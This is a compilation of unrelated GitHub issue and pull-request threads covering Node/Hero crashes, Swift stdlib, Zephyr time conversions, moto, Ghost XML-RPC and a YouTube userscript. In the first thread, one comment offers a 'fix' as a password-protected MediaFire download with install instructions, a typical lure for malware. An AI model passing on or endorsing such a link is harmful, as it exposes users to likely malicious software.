Closing hero throws uncaught exception with VPN active

When I close the hero with await hero.close(); on most websites it throws the error below (although example.org doesn't throw).
2024-09-01T23:47:49.712Z ERROR [hero-core\index] UnhandledError(fatal) {
  origin: 'uncaughtException',
  context: {},
  sessionId: null,
  sessionName: undefined
} Error: This is caused by either a bug in Node.js or incorrect usage of Node.js internals.
Please open an issue with this stack trace at https://github.com/nodejs/node/issues

    at assert (node:internal/assert:14:11)
    at internalConnectMultiple (node:net:1118:3)
    at afterConnectMultiple (node:net:1667:5) {
  code: 'ERR_INTERNAL_ASSERTION'
}
node:internal/assert:14
    throw new ERR_INTERNAL_ASSERTION(message);
    ^

Error: This is caused by either a bug in Node.js or incorrect usage of Node.js internals.
Please open an issue with this stack trace at https://github.com/nodejs/node/issues

    at assert (node:internal/assert:14:11)
    at internalConnectMultiple (node:net:1118:3)
    at afterConnectMultiple (node:net:1667:5) {
  code: 'ERR_INTERNAL_ASSERTION'
}

I am using surfshark to set my country to desired location.  I am running on Windows 11.
I am unable to catch the error for some reason:
  try {
    await hero.close();
  } catch (error) {
    console.error('Error while closing Hero:', error);
  }

  console.log('This doesn't execute');

If I take off VPN then the error goes away.
Any suggestions?

updating to latest node LTS  fixed it

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx


[stdlib] Add withContiguousStorageIfAvailable to SubString.UTF8View

Due to an oversight it seems that we never added a
withContigousStorageIfAvailable implementation to SubString.UTF8View,
which meant that if you sliced a String you lost the ability to get fast
access to the backing storage. There's no good reason for this
functionality to be missing, so this patch adds it in by delegating to
the Slice implementation.
Resolves SR-11999.

@swift-ci please smoke test

@swift-ci please smoke test

@swift-ci please smoke test

@swift-ci please smoke test

Ok, looks like we're ready to go. I don't think I have write on this repo so I don't think I can ask the CI robot to merge, though I might be wrong about that.

@milseman @Lukasa
Looks like this broke a Swift in the OS bot:
https://ci.swift.org/job/oss-swift_tools-RA_stdlib-RA-test-simulator-swift-in-the-os/1055/

I'm sorry, I thought this had passed full testing, not just smoke testing. Personally, I'm opposed to treating smoke testing as sufficient for merging, unless there's real crisis / time pressure. I'll revert for now and re-open with a test run

Hm, what’s this bot testing? Older binaries against newer tests and runtimes?

@swift-ci please test

Ah, sorry, I forgot to follow up with a full test when the smoke test passed.

Oh, if this is a backwards deployment checker bot, then maybe even that would not have catched it

The only case I can think of where this would fail is if the binary was built with a Swift before the new standard library, where it either inlined or called the old default implementation, which unconditionally returns nil.

Right, but the test should be recompiled. What we need is a guarantee that AEIC will shadow the default implementation (from Sequence) present in an old stdlib binary.
@slavapestov, do you know if this is guaranteed?

@Lukasa can you re-open and retry?

Re-added in #29146.


In one of the notes on this page, there is a reference made to the 'domain profile' and then a reference for an "Azure Active Directory DC" - which isn't valid.

[Enter feedback here]

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 88e8e24b-481e-babb-a4e7-c5639f2492a2
Version Independent ID: f61e0165-fd95-0fc4-a52c-0b4c40735ea3
Content: Best practices for configuring Windows Defender Firewall - Windows security
Content Source: windows/security/threat-protection/windows-firewall/best-practices-configuring.md
Product: windows-client
Technology: itpro-security
GitHub Login: @paolomatarazzo
Microsoft Alias: paoloma

Thank you Michael, I'll fix it.


Unable to install @kafkajs/zstd

Unable to install @kafkajs/zstd v0.1.1
npm ERR! code ELIFECYCLE
npm ERR! errno 1
npm ERR<EMAIL_ADDRESS>install: node-gyp rebuild
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>install script.
Also , cppzst library has dependency on segfault-handler.
Tried to install cppzst and segfault-handler separately but still experiencing issues.

@Nevon , could you please assist . I am unable to install kafkajs/zstd . It has dependency on segfault-handler and failing to install segfault-handler

See the note at the top of the readme:

NOTE: This codec relies on cppzst for compression and decompression. Please divert any issues with cppzst there, and only open issues on this repo in case the version being used here needs to be updated.
This package is provided on a best-effort basis. See https://github.com/kafkajs/zstd/issues/2


Client/server discovery should support following 3xx redirects

Fwiw, server-server delegation does support 30x redirection, so as a server admin, this was a point of surprise for me.


fix ReadTheDocs build

@mfixstsci https://github.com/spacetelescope/jwql/pull/1528

running sphinx
python -m sphinx -T -b html -d docs/_build/doctrees -D language=en docs/source docs/_build/html

results in
FileNotFoundError: The JWQL package requires a configuration file (config.json) to be placed within the main jwql directory. This file is missing. Please read the relevant wiki page (https://github.com/spacetelescope/jwql/wiki/Config-file) for more information.

However, the RTD build is successful: https://readthedocs.org/projects/jwql/builds/23876487/


fix broken link

This PR fixes a broken link in the README

@joshfischer1108 Thanks a lot, there is still a lot of work to be made on the documentation. For information, I started experimenting with nextra yesterday evening, the goal is to include maps and demonstrations directory in the documentation.

I agree.  A few things I think about when I hit the documentation page is:

Why would use baremaps over competitors?
Can the same thing be done with Google Maps and Apple Maps?  If so, what is special about Baremaps over the prior mentioned?
The documentation seems to written for the persona  of a person who understands GIS a fair amount. Some examples are pages with the titles
*Import Natural Earth data into PostGIS

Serve Vector Tiles from PostGIS

Another good practice is that we can add this one of the good parties is we can used markdown-link-check check in CI

The documentation seems to written for the persona  of someone who understands GIS a fair amount.

Yes, the current documentation is intended at people who need some advanced level of customisation. The idea is to let the user regain control over the data shown in the map. Do you think we should change the way of presenting things and be more general? Some apache web sites are very nice and catchy (e.g. Apache Ignite).

For information, here is the results of my experiments with nextjs and nextra.
https://github.com/apache/incubator-baremaps-site/pull/12


Allow users to input matches

Currently we only poll from racquet.io to populate our db. Allow users to input on this app too.

Only visible after selecting a club
Visible in the menu
UI is form with two inputs and a save button
When you hit save it:

Makes the save button a green check button
Shoots the data to a POST endpoint
Redirects you to the feed

POST endpoint that receives data and stores in DB

I'm finding that it's difficult to add new matches with our current clubs table, since selecting a club by its name requires the human-readable name and in the controller we only have the URI parameter name (Pivotal Denver vs pivotal-denver, for instance).
This can be solved with a regex, but that seems a bit sketchy. What do you think of adding a column to the clubs table to add that URI name?

@austinmckinley good point man. Maybe a simpler approach is to refactor the route to use a club id instead of a club name. That would make all your links and references a lot easier.

Snagging this for myself to get it out quickly :)

Front and backend working - able to input matches. Couple of things missing:

Validate against blank data
Insert row into feed immediately, so user doesn't have to do a page refresh

Front and backend working - able to input matches. Couple of things missing:

Validate against blank data
Insert row into feed immediately, so user doesn't have to do a page refresh


Replace landing page image with a newer one

Following the guide and noticed the image on the /check-it-works page is out of date enough that I had to check that it was the right page.
This replaces it with a newer image.

Ah yes, I made it 0.0.0 on purpose so that it doesn't need updating. Maybe it's more confusing and should just remove it entirely?

@anandamaryon1 yeah, maybe remove it entirely? 🤔

@anandamaryon1 I have suggested some other content changes to the default page in https://github.com/nhsuk/nhsuk-prototype-kit/pull/423 so maybe hold fire on updating the image for now 😄


Source history, commit messages, and author email address

Sorry, lots of topics to cover in this one...
What is ARL's policy on git/svn history, commit messages and author email addresses? Does it get published along with the release process or omitted/obfuscated? (do reviewers even know what this means and does it imply that the source history also has to be examined by reviewers?)
Say there was some .mil project that was being open sourced. Does the source history travel with it? Say the source history need to be rewritten to obfuscate or remove something. How does this apply/effect the freedom of information act?
For git, email addresses are required for commit messages. Github requires a real email address, but for obvious reasons, commits with real .mil address may need to be obfuscated during the release. What is ARL's open source policy on this? Personal, fake, or official email addresses for commit messages? What about the committers name? real, fake, obfuscated? initials?
Often, many programing languages that support documentation have the ability for the author to be declared in the document, such as Javadocs @author tag. Again, real, fake, obfuscated or omitted?

Just to address one issue, I would assume handling author identity and contact info would be no different than if we were talking about a research article in a public journal, where author name, email, affiliation, institution address, etc, are published with the document without issue. So any issue with that should be covered by the normal public release approval and secyrity review process.

@spyhunter99 To answer your questions/comments in order:

@NRJank  is correct about how we're handling commit messages and author identity.  In general, we're treating code kind of like an article that is being amended continuously.  Since papers that are approved for public release also have the author(s) name(s) attached, additional commits are treated the same way.

Everything that is published has to be OPSEC reviewed.  That means that source history has to be reviewed.  As a practical matter, if a project has a very long history and it isn't feasible to look through all of the history it may be necessary to simple dispose of the history and start with a clean repository.

I'm not a lawyer, so my comments about FOIA may be wrong.  That said, my personal understanding is that source code is not considered a Government Record, and therefore not subject to FOIA requests.  Thus, disposing of the history will not violate FOIA.  (I'll be passing this question along to the ARL lawyers, so there may be an update to this comment later on).

ARL's policy is to use the author's real name and real (Government) email address.

Part of the purpose of ARL's Open Source policy is to encourage collaboration with the public at large on projects that ARL has initiated.  That would be defeated by obfuscating or omitting contact information.

Reference: he is a lot more discussion (and flaming?) on the FOIA / git history topic

https://github.com/deptofdefense/code.mil/issues/67

read that and make your own opinions.

A quick note on disposing of history to speed up OPSEC reviews. Many people are going to just delete all old code because it is hard enough to do OPSEC review for one version. If practical issues do not allow reviewing all history, you may consider using "abbreviated history". For this you take just review the releases (the major ones, the minor ones, or all point release). Create a new git repository and load each of these versions in as a single commit with the appropriate date.

@fulldecent You're right.  And just like the discussion at deptofdefense/code.mil#67 points out, the Government may be required to keep copies of old history around as a record.  That said, the publicly published repo could have an abbreviated history, which will be easier to OPSEC review.


Dynamic backend tests on NNPA cause errors

Dynamic backend tests on NNPA cause runtime errors. (c.f. This Issue is similar to Issue #2743 "Dynamic backend tests cause errors on CPU," but this issue for errors on NNPA.)
PR #2781 introduces "--dimParams" option for specifying relationships among dimensions of model inputs. It also enables dynamic backend tests on NNPA with the --dimParams option, but some tests cannot be enabled because of runtime errors, and they are temporally disabled by the PR. We need to fix these runtime issues or confirm that they are reasonable.
The following is a list of backend tests on NNPA not causing errors with static shapes, but causing errors with dynamic shapes. Please fix errors or confirm that they are reasonable. Thanks.
[ ] test_averagepool_2d_default_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_averagepool_2d_precomputed_pads_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_averagepool_2d_precomputed_same_upper_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_averagepool_2d_precomputed_strides_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_averagepool_2d_same_upper_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_averagepool_2d_strides_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_batchnorm_epsilon_cpu,zdnn_mul,NO_DYNAMIC_SHAPE_TEST
[ ] test_batchnorm_example_cpu,zdnn_mul,NO_DYNAMIC_SHAPE_TEST
[ ] test_basic_conv_with_padding_cpu,zdnn_conv2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_basic_conv_without_padding_cpu,zdnn_conv2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_conv_with_strides_no_padding_cpu,zdnn_conv2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_conv_with_strides_padding_cpu,zdnn_conv2d,NO_DYNAMIC_SHAPE　_TEST
[ ] test_globalaveragepool_cpu,zdnn_meanreduce2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_globalaveragepool_precomputed_cpu,zdnn_meanreduce2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_logsoftmax_example_1_cpu,zdnn_softmax,NO_DYNAMIC_SHAPE_TEST
[ ] test_max_float32_cpu,zdnn_max,NO_DYNAMIC_SHAPE_TEST
[ ] test_maxpool_2d_default_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_maxpool_2d_precomputed_same_upper_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_maxpool_2d_precomputed_strides_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_maxpool_2d_same_upper_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_maxpool_2d_strides_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_min_float32_cpu,zdnn_min,NO_DYNAMIC_SHAPE_TEST

I found that most test cases for avgpool run on CPU because we don't know they meet one of the parameter restriction Input tensor batch_Num and Channel dimensions must always match the output tensor's respective dimensions. in AvgPool2D Parameter Restrictions  when input is unknown dimension.
Since we can't check it at compile time, I think we can ignore it in unknown dimension case. (If this doesn't meet at runtime, the execution fails at runtime. ) By fixing the legality check, I confirmed most of the case can run on NNPA.
test_averagepool_2d_precomputed_pads_cpu really can't be run on NNPA because padding type is not calculated in unknown dimension.
[ ] test_averagepool_2d_default_cpu,zdnn_avgpool2d, NO_DYNAMIC_SHAPE_TEST
[ ] test_averagepool_2d_precomputed_pads_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST # Padding type is not SAME_PADDING or VALID_PADDING
[ ] test_averagepool_2d_precomputed_same_upper_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_averagepool_2d_precomputed_strides_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_averagepool_2d_same_upper_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_averagepool_2d_strides_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST

Now only test cases with [x]  (8 cases) do not support dynamic tests by PR #2831 . The remaining tests with [ ] support dynamic tests. So, NO_DYNAMIC_SHAPE_TEST was removed from them.
[ ] test_averagepool_2d_default_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST
[x] test_averagepool_2d_precomputed_pads_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_averagepool_2d_precomputed_same_upper_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_averagepool_2d_precomputed_strides_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_averagepool_2d_same_upper_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_averagepool_2d_strides_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_batchnorm_epsilon_cpu,zdnn_mul,NO_DYNAMIC_SHAPE_TEST
[ ] test_batchnorm_example_cpu,zdnn_mul,NO_DYNAMIC_SHAPE_TEST
[x] test_basic_conv_with_padding_cpu,zdnn_conv2d,NO_DYNAMIC_SHAPE_TEST
[x] test_basic_conv_without_padding_cpu,zdnn_conv2d,NO_DYNAMIC_SHAPE_TEST
[x] test_conv_with_strides_no_padding_cpu,zdnn_conv2d,NO_DYNAMIC_SHAPE_TEST
[x] test_conv_with_strides_padding_cpu,zdnn_conv2d,NO_DYNAMIC_SHAPE　_TEST
[x] test_globalaveragepool_cpu,zdnn_meanreduce2d,NO_DYNAMIC_SHAPE_TEST
[x] test_globalaveragepool_precomputed_cpu,zdnn_meanreduce2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_logsoftmax_example_1_cpu,zdnn_softmax,NO_DYNAMIC_SHAPE_TEST
[ ] test_max_float32_cpu,zdnn_max,NO_DYNAMIC_SHAPE_TEST
[ ] test_maxpool_2d_default_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST
[x] test_maxpool_2d_precomputed_pads_cpu,zdnn_maxpool2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_maxpool_2d_precomputed_same_upper_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_maxpool_2d_precomputed_strides_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_maxpool_2d_same_upper_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_maxpool_2d_strides_cpu,zdnn_avgpool2d,NO_DYNAMIC_SHAPE_TEST
[ ] test_min_float32_cpu,zdnn_min,NO_DYNAMIC_SHAPE_TEST

Closing this issue, since all tests were fixed or confirmed. Thanks.


feat: add PassThrough method to pass on the code and properties

What's changed and what's your intention?
eris.PassThrough is almost like eris.Wrap, but it will copy the original error code and properties. (looks like only add a new message)
Therefore, we can use eris.PassThrough when we want to add an additional message but don't want to override the underlying status. (e.g.  pass through the error in modeltx.Query)
I guess this method will have lots of use cases. So the function name eris.PassThrough seems a bit long. And idea? eris.Pass?
Checklist

[x] I have written the necessary docs and comments
[x] I have added necessary unit tests and integration tests

Refer to a related PR or issue link (optional)

This is very useful, there were several times where I wish we had this function. About naming - how about extend? :laughing:


TODO: R package - add flags to getDailyWxObservations

Added 20160802.  Need to update colnames in response.


Suggestion: allow text to speech ! :)

With TTS and a string concatenator, we could have the interface talk to us, letting us know which node path was taken when using more complex worfklows such as RGthree nodes.
I realize its probalby a lot of work, but i think it's a nice feature!

Unfortunately not something i'd have time for


Enhancements for civil time conversions

Commits in this PR are a first step towards providing support in Zephyr to register system time (e.g. milliseconds since startup) against civil time (UTC, TAI, etc.), which is necessary for things like Bluetooth mesh scheduled operations.
The first commit provides the minimal libc implementation in Zephyr with the same time-related types that are present in POSIX and newlib in all other toolchains.
The second commit uses conversion algorithms to translate between struct tm and time_t representations.
Once this functionality is in place it should be possible to use external time sources such as NTP or Bluetooth Mesh Time Service to get current time onto a Zephyr device, then translate between system time and real time, including (in the future) dealing with leap seconds, local time offsets, and daylight saving time.
I anticipate adding new types to provide TAI-UTC offset, local time offset, and DST change information in a future PR.
A proactive comment about two style issues that may raise questions:

The type definitions in the minimal libc use C standard sized types (int64_t) instead of the Zephyr alias (s64_t).  Here I am following existing practice in libc/minimal.
The clock implementation code closely follows the original algorithms, which were written for C++, including by declaring the variables at the point where their initial value is available.  This feature was added to C twenty years ago, but I understand mid-block definitions to be undesirable in Zephyr.  If the declarations need to be bunched at the top of the block I'll rework this.

Also I'm not entirely happy about the creating of a new lib subdirectory, but I tried to use misc and failed to convince CMake to pay attention to me.  I don't see any other location to put cross-platform utility code; if this belongs somewhere else please let me know.
Finally, I would very much like to explicitly identify the algorithm implementation as being a translation of the public-domain material by Howard Hinnant, but I don't know how to express that without breaking the format of the license block.  I've at least been able to put the link to the original in comments near the functions.

The proposed solution seems to be much more simple than the standard POSIX combination:
gmtime(): UNIX time to broken-down time
mktime() or localtime(): broken-down time to UNIX time, requires dealing with timezones
Instead, what if we implemented:
gmtime(): POSIX compliant, instead of time_civil_from_unix()
timegm(): GNU extensions to POSIX, instead of time_unix_from_civil()
https://pubs.opengroup.org/onlinepubs/009695399/functions/gmtime.html
http://man7.org/linux/man-pages/man3/timegm.3.html

I've verified that gmtime() produces the same answer as time_civil_from_unix for the test values, so that can be a substitute.
timegm() may be a problem as a GNU extension.  Will all development environments support it (clang, commercial compilers)?  On host Linux you have to specifically enable it by defining one of _DEFAULT_SOURCE, _BSD_SOURCE, or _SVID_SOURCE. It's also not available with the flags currently provided in Zephyr builds (using SDK-0.10.1 CONFIG_NEWLIB_LIBC=y for particle_xenon).
counter_cmos implements the same algorithm as time_days_from_civil in an internal hinnant function, so that API might be independently desired.  However, if timegm() worked it should just be a matter of dividing the result by 86400.
If a way to use timegm() can be found I don't object to withdrawing this and using those APIs instead.
A motivation to stick with custom ones would be the fact that time_t is generally s64_t, and it might be worth providing a solution based on u32_t for Zephyr, allowing dates from 1970-01-01T00:00:00 to 2106-02-07T06:28:15 without pulling in support for 64-bit arithmetic.

Actually @pabigot my proposal was that you simply rename those but keep the implementation for minimal libc. I wasn't really suggesting you withdraw the PR, just to use more standard names.

@carlescufi I can certainly provide gmtime() for minimal libc with this PR.
I'm less happy about the reverse function.  timegm() is not a POSIX API, and it's not available in Zephyr builds without changing the flags in a way that would probably expose other GNU-specific API that really shouldn't be exposed.
Zephyr doesn't seem to have a place for completely generic utility code that requires an implementation file (not just a header) and isn't associated with any subsystem.  Until there's a solution to that, I think the best path forward is adding gmtime() to minimal libc, and making the inverse function local to the driver.
That'd be two drivers with the hinnant capability.  When there are three we might want to revisit the problem.

I'm with @carlescufi here: at all times we should prefer standard, well-known APIs instead of NIH "original designs". Here, the POSIX timing APIs, possibly with well-known extensions. Sometimes, it may make sense to provide some "intermediate" level APIs, e.g. when POSIX APIs are too bloaty for low-resource devices we target. But IMHO, that should be in addition to standard APIs, e.g. implementation stack would be low-level APIs, e.g. drivers/kernel -> intermediate API -> POSIX API.

This will be reworked based on adding gmtime() to minimal libc once #16626 goes in.  No point spending more time on this PR.

No point spending more time on this PR.

Fairly speaking, that's not the outcome expected. The idea is to pool together people interested in adding standard APIs to Zephyr (and POSIX offers quite a good functionality coverage for systems APIs), and motivate them to work together towards good solutions, instead of on-spot workarounds (like "putting functions in drivers").
But good to hear a new version will be submitted, thanks!

@pfalcon Yes to coordinating changes, but the approach and details in this specific PR are clearly no longer the right path forward.  We'll argue about whether the hinnant function should be put in a shareable location, and whether its variables should be renamed from the reference implementation, when there's a PR that introduces a second copy.


Implement list_hosted_zones_by_vpc() functionality

Hi,
This is my first attempt at implementing something for moto. Please tell me if I'm even on the right track with this one :)
-Paul

Codecov Report

Merging #4771 (68cd2c6) into master (f158f0e) will decrease coverage by 0.00%.
The diff coverage is 100.00%.

@@            Coverage Diff             @@
##           master    #4771      +/-   ##
==========================================
- Coverage   95.05%   95.05%   -0.01%
==========================================
  Files         586      586
  Lines       62484    62501      +17
==========================================
+ Hits        59395    59408      +13
- Misses       3089     3093       +4

Flag
Coverage Δ

servertests
36.14% <20.83%> (-0.01%)
:arrow_down:

unittests
94.98% <100.00%> (-0.01%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

moto/route53/urls.py
85.71% <ø> (ø)

moto/route53/models.py
94.18% <100.00%> (+0.15%)
:arrow_up:

moto/route53/responses.py
97.12% <100.00%> (+0.11%)
:arrow_up:

moto/route53/exceptions.py
93.61% <0.00%> (-6.39%)
:arrow_down:

moto/efs/models.py
88.21% <0.00%> (-0.36%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update f158f0e...68cd2c6. Read the comment docs.

@bblommers - Thanks! Happy to help!


hx-disabled-elt addition to LSP

Since working on skilliszues by using htmx, I find myself loving, and relying on this LSP.
I would however, love to have the hx-disabled-elt attribute recognized.
Quite often I find myself disabling buttons while requests are in flight.
I would like to contribute- but have not yet worked with Rust, or on any LSP.
I can try find my way through the repo and pull together a PR, but wouldn't mind a little guidance.
If someone else has it covered, please @ me in the PR so I can learn.
Thanks

I see this was added in 06935ac. I assume that since I downloaded with Mason, it just hasn't been updated to include yet.


Link for registration Hyperlinked (Fixes #282)

Fixes Issue
Closes #282
Changes proposed

The Link for Registration in the Hacktoberfest-Readme.md is hyperlinked.
Screenshots

Before:

After :

Note to reviewers

I think we can remove the hacktoberfest-related readme, or at least set it as archived as Hacktoberfest 2022 is over.
cc @kaiwalyakoparkar


fix: 优化标签列表version问题

这个 PR 实现什么功能/修复什么问题:
优化标签列表version问题
是否需要 backport 到之前的 release 分支:

release/3.1

/area region
/cc @zexi

/lgtm

Codecov Report

Merging #6830 into master will decrease coverage by 0.00%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master    #6830      +/-   ##
==========================================
- Coverage    6.77%    6.76%   -0.01%
==========================================
  Files         669      669
  Lines      117719   117719
==========================================
- Hits         7978     7967      -11
- Misses     109135   109147      +12
+ Partials      606      605       -1

Flag
Coverage Δ

#aFlag
6.76% <ø> (-0.01%)
:arrow_down:

Impacted Files
Coverage Δ

pkg/cloudcommon/cronman/cronman.go
48.83% <0.00%> (-5.12%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update e49c11e...d296a18. Read the comment docs.


Bot exits on disconnection

Need to enable a reliable re-connect mechanism to keep websocket connection up.

Fixed in v0.1.5


[W6.2][W11-B2]Zhan Yu

This is a WIP. I mean this is like really basic stuff. Still trying to figure out alot of the JavaFX features. Probably gonna make a listview or gridview or whatever you call that in JavaFX for the listing beside the main output pane.

@ZY-Ang
We hope you were able to get your hands dirty enough to start working on the project's UI.
Closing this PR with minimal review.


Updates to XML RPC service

This PR addresses https://github.com/TryGhost/Ghost/issues/9644
It removes the old service, updates the methodName & adds some disgusting error handling :angel:
The error handling is better than what we've got currently, but it's nasty, the right thing to do would be to parse the XML, but that means adding another dep, which slows down installs etc...
I was thinking about removing the use of _.each to loop the services, but I think it might be useful to leave it in for ease of adding new services.
Whatchu think @kirrg001 ?

[x] There's a clear use-case for this code change (#9644)
[x] Commit message has a short title & references relevant issues
[x] The build will pass (run npm test)

@kirrg001 Resolved comments, and added some resiliency :+1:

I have pulled your latest changes, but when i now publish a post, the good regex doesn't match anymore and an error is printed. But i've received a good response.
AME: InternalServerError
MESSAGE: <?xml version="1.0"?>
<methodResponse>
  <params>
    <param>
      <value>
        <struct>
  <member><name>flerror</name><value><boolean>0</boolean></value></member>
  <member><name>message</name><value><string>Pings being forwarded to 9 services!</string></value></member>
</struct>
      </value>
    </param>
  </params>
</methodResponse>

Hrrr - lemme check

@kirrg001 Sorry my :b: was playing with two regex and patched the wrong one - fixing...


fix typo in build your own zarf cli page

Description
Fixing Typo in Dependencies section of https://docs.zarf.dev/docs/user-guide/the-zarf-cli/building-your-own-cli
Related Issue
Typo in website
Fixes # (issue)
Type of change
Typo in website
Checklist before merging

@decleaver approved, but can you go back and sign your commit? See 3) in dev workflow: https://github.com/defenseunicorns/zarf/blob/30db9cb26ee913a19930cb65d0773b51c9b8261d/CONTRIBUTING.md

Wait I still see an unsigned commit, we may need you to just squash your commits first. Am I going crazy @Racer159?

You aren't crazy @jeff-mccoy .  @decleaver to squash just run:
git rebase -i HEAD~<number of commits>
git push -f

If there are any unsigned commits in the branch they can't be merged to master.
Source: https://medium.com/iosnesia/how-to-squash-commits-in-git-e73a41248211

Closing in favor of other branch


Is there a way to export onnx similar to yolo-world

nice work! Is there a way to export onnx both text backbone and omdet, similar to yolo-world?

@AllenDun   Yes， i think it just like we described in the README for converting Grounding DINO

Thanks, so there could be a demo for this? The 'export.py' cannot directly do this right?


OAS 3.0 support

This PR improves Snow Owl's proprietary REST API to provide OAS 3.0.x compatible API documentation.
Unfortunately, due to the following issues this PR remains as a draft for now:
https://github.com/springfox/springfox/issues/3422
When there is a workaround and/or fix for all above mentioned issues, we can make this ready for review.
Another possible library to migrate our API spec to is https://springdoc.org/

Closing in favor of #845.


FreeFileSync Compare & also Sync Settings cause application freeze

FreeFileSync Compare & also Sync Settings cause the application to freeze when clicked
See circles in red...
I am using NixOS 23.11 and Gnome. System is up to date, nothing special installed.

I too have this problem.
My only alternative around this is to use the flatpak package.


Add to odh-env-users

Hi
I'd greatly appreciate getting access to the aicoe-osc-demo.
Thanks

Hi @Madhumithran, we moved access control to the community hub repository, could you please open the same issue here. Thanks!


feat: add "French Quotes" («, ») support for quoted args

French people, and many other languages as a matter of fact, use "« »" as quotation marks too.

This change should probably be added to the guide as well.

This change should probably be added to the guide as well.

Added in https://github.com/sapphiredev/website/commit/c1f8164df56653cd6b5797aed11e131a8ffae353

Be careful, in a proper syntax, French quotes must be followed/preceeded (depending if its an opening/closing quote) by an unbreakable space. Maybe this has to be taken into account in the registering? Or maybe lexure will trim it automatically?

I don't think the spaces are very important. This is a bot framework, not a syntax corrector. People may accidentally not put a space in and have the command not work properly.

Yes but I meant that if someone is on a phone, it will add a space automatically. At least it does on my phone. I'm not sure how Lexure will treat this in its current state 😄
Of course I didn't mean to force people to add a unbreakable space !


Replace chilloutmix model with hugging face link

https://www.reddit.com/r/StableDiffusion/comments/11dwvi2/chilloutmix_removed_on_civitai/
ChilloutMix-Ni was removed on CivitAI, replace the model link with one found on Hugging Face.

could you also make the v1.6 one? Thank you🙏

thanks @kimmywork ❤

@camenduru Now this pr can be reverted, CivitAI recovered the model. https://civitai.com/models/6424

no need to, most of the model on this repo's colab are from huggingface.com/ckpt anyway. Unless they updated it.


Disable if local version is not detected

Hello! 🙂
I want to disable the plugin just when standard is not detected as dependency.
It's something that is configurable in the atom version of this plugin:

I think it's related to https://github.com/standard/vscode-standardjs/issues/21, but just disable it if local version is not detected.

There's a usePackageJson option https://github.com/standard/vscode-standardjs#plugin-options, you can set it true.

Thanks!


Videos from YouTube start to load and then the screen turns white

I am a big fan of YouTube center and have used the YouTube center Developer Build 548 thru Greasemonkey 3.11 for a long time because I love all of the controls it gives me to control videos like preventing auto play and letting the video buffer first as well as many other features unavailable with any other add-on.
I don't know what has changed but now I have to disable the script to prevent the blank white screen when try to open any videos, new or saved.
This must be something that YouTube did to their format. I am only going to disable YouTube center Developer Build 548 in Greasemonkey for now but now remove it.
I hope that there will be an update soon, maybe a #549 that will bring the script back into play?
Also when I click on the cog wheel now to get to the settings, the menu pages are all  smashed together so I cannot read half of them. I know that Jeppe Rune Mortensen said before that his editing has been reduced due to working a full time job now, but this is the very best YouTube center controller I have ever had and I really want it back! Please,Please update the script to work with the current YouTube changes.
<EMAIL_ADDRESS>

same here.  see video when it loads and then screen goes blank.  strangely, the video plays because i can hear the audio.

The problem is with YouTube changing. You can revert back to the old YouTube. Are you using Mozilla?

Using Chrome and Vivaldi.  How to revert back to the old YouTube?

Disable youtube center to avoid the white screen. Then click on your user icon in the top right, there'll be a button at the bottom of the dropdown labelled "Restore old youtube design" or something similar.
Click that, renable YTC, and you're done.

I did figure out that disabling my YTC userscript removed the white screen but I was still losing YTC functions which is my favorite, but then
I also did figure out from the web about YouTube changing their format which upset alot of people and screwed up several other add-ons functions and how to click on my YouTube profile picture to get to the drop down menu where "Restore old YouTube" was at. After the restore, I did reactivate YTC and it works again as well as the other add-ons also! Thanks for your prompt response.
I knew that it had to be something with YouTube because it was screwed up in Chrome as well.
Mark T.

Thank you guys very much for your help!

Did it work for you?

I see the videos now but I don't see any link or menu to download them.

Thanks, I had the same problem, reverting to old youtube did the trick.
